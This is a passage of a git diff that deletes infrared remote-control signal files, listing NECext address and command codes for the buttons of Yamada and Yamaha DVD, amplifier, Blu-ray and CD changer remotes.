NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir deleted file mode 100644 index 9762d330a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: shift -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: plus_ten -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_2step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir deleted file mode 100644 index b3f7d79d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 02 00 00 00 -# -name: SEARCH/SKIP_>> -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 03 00 00 00 -# -name: SEARCH/SKIP_<< -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 04 00 00 00 -# -name: DUBBING_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 05 00 00 00 -# -name: DUBBING_START -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 06 00 00 00 -# -name: RANDOM/B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 07 00 00 00 -# -name: DISC_SKIP/E -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 08 00 00 00 -# -name: MODE/D -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 09 00 00 00 -# -name: TEXT/TIME -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0A 00 00 00 -# -name: PROG/C -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0B 00 00 00 -# -name: REP/A -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 19 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 41 00 00 00 -# -name: TAPE_DIRECTION -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 43 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 46 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4E 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: MD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 57 00 00 00 -# -name: MD_REC/PAUSE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir deleted file mode 100644 index 18879fc4d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: DVD/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: MD/TAPE1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: TV/DBS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: EFFET_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: EXTER.DEC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 91 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 92 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 93 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir deleted file mode 100644 index d7355de82..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 81 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 82 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 83 00 00 00 -# -name: TV/DBS -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 84 00 00 00 -# -name: DVD/VCR3 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 85 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 87 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 88 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 89 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8A 00 00 00 -# -name: MD/TAPE1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8B 00 00 00 -# -name: TAPE_2_MONITOR -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 90 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 91 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 94 00 00 00 -# -name: EFFET_ON/OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C1 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: C2 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D0 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D1 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D2 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D3 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D4 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D5 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D6 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D7 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D8 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: D9 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: DA 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir deleted file mode 100644 index 77a1e544e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 81 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8E 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 8F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 93 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 94 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 95 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 96 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 97 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 98 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9C 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 9F 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A0 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A3 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A4 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A6 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: SUB_TITLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: A8 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AC 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AD 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: AE 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B1 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B3 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B4 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B5 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B6 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B7 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B8 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: B9 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: BA 00 00 00 -# -name: POP_UP_MENU -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: CF 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: D7 00 00 00 -# -name: DIGEST -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E2 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: E9 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EA 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EA 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EB 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EC 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: ED 00 00 00 -# -name: 2ND_AUDIO -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EE 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: EF 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F3 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F6 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir deleted file mode 100644 index 401a59ab9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 19 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1B 00 00 00 -# -name: OUTPUT_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1C 00 00 00 -# -name: OUTPUT_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1D 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 21 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 22 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 23 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 24 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 25 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 4F 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 50 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 55 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 56 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 57 00 00 00 -# -name: RANDOM_NORMAL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 79 00 00 00 -# -name: RANDOM_ON -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7A 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7C 00 00 00 -# -name: REPEAT_ALL -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir deleted file mode 100644 index 11573b2bc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: STOP/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir deleted file mode 100644 index a8583391e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: D-MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 02 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 06 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 07 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 08 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: TIME_MODE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0A 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 16 00 00 00 -# -name: 7 